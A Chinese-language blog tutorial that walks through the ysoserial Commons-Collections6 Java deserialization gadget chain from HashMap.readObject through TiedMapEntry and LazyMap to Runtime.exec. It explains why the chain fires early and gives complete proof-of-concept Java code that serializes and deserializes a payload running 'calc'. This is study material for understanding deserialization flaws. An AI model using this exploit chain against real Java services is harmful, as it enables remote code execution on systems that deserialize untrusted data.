ysoserial之Commons-Collections6链
ysoserial中cc6链:
先看一下ysoserial中cc6链的构成,这里也是用的
LazyMap
中的get
方法,前半部分改变了。在cc1
链中由于使用的是AnnotationInvocationHandler
中的readObject
,但是在jdk8
中的readObject
代码被修改了,导致整条链不能使用了。所以就有了cc6
这条链,这个链不受版本的限制。
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
测试环境:
jdk1.7.0_80
commons-collections-3.2.1
cc6链分析:
这里就直接从TiedMapEntry
类开始往上分析,先看TiedMapEntry
类。作者这里找到了TiedMapEntry
中的hashCode
方法,对于hashCode
方法相信了解过URLDNS链的会比较熟悉。
在TiedMapEntry
的hashCode
方法中调用的getvalue
方法,并且getvalue
方法调用了get
方法
public int hashCode()
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
public Object getValue() {
return map.get(key);
}
由于之前分析过URLDNS,所以这里就直接写了,通过反序列化HashMap
时,HashMap在反序列化时会计算key
的hashCode
。
在readObject
中调用了putForCreate
方法,跟进去
在hash
方法中会调用key
的hashCode
方法,因此这里的key
只要传入TiedMapEntry
就能RCE
了,到此cc6就分析完毕了。可以看出如果有分析过前面的URLDNS链和CC1链,CC6链就很快分析完了。
下面开始构造构造POC了。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;
public class YsoserialCC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "cc");
Map<Object,Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"cc");
// serialize(hashMap);
// unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
ois.readObject();
}
}
但是在运行这个的时候会发现,计算器在执行put的时候就弹出来了,而且序列化的时候报错,无法往下执行。
跟URLDNS的问题一样,在put的时候也会调用hashCode
方法,因此通过反射先将这条链给断掉
HashMap<Object, Object> map = new HashMap<>();
//这里将chainedTransformer赋值为其它的。让链先断了
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "ccz");
Map<Object,Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"cc");
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);
再跟进put
方法,这里的key
就是tiedMapEntry
。跟进hash
,最后会调用tiedMapEntry
的hashCode
方法。
然后进入到get
方法,可以看到这里会判断map
中有没有key
,也就是ccz
,没有的话就调用factory.transform(key);
,也就是我们要执行的链。再将key
和value
放进map
中。因此从这里可以发现一开始map
中没有值,因此进入这个if
语句。但是反序列化之后再调用这个get
方法时,map中就会有这个key了,导师无法进入if
调用transform
。解决办法就是put
完之后remove
这个key
。
hashMap.put(tiedMapEntry,"cc");
lazyMap.remove("ccz");
最终POC:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class YsoserialCC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
//这里将chainedTransformer赋值为其它的。让链先断了
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "ccz");
Map<Object,Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"cc");
lazyMap.remove("ccz");
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);
serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
ois.readObject();
}
}
参考链接:
https://www.bilibili.com/video/BV1yP4y1p7N7?spm_id_from=333.999.0.0
Comments | NOTHING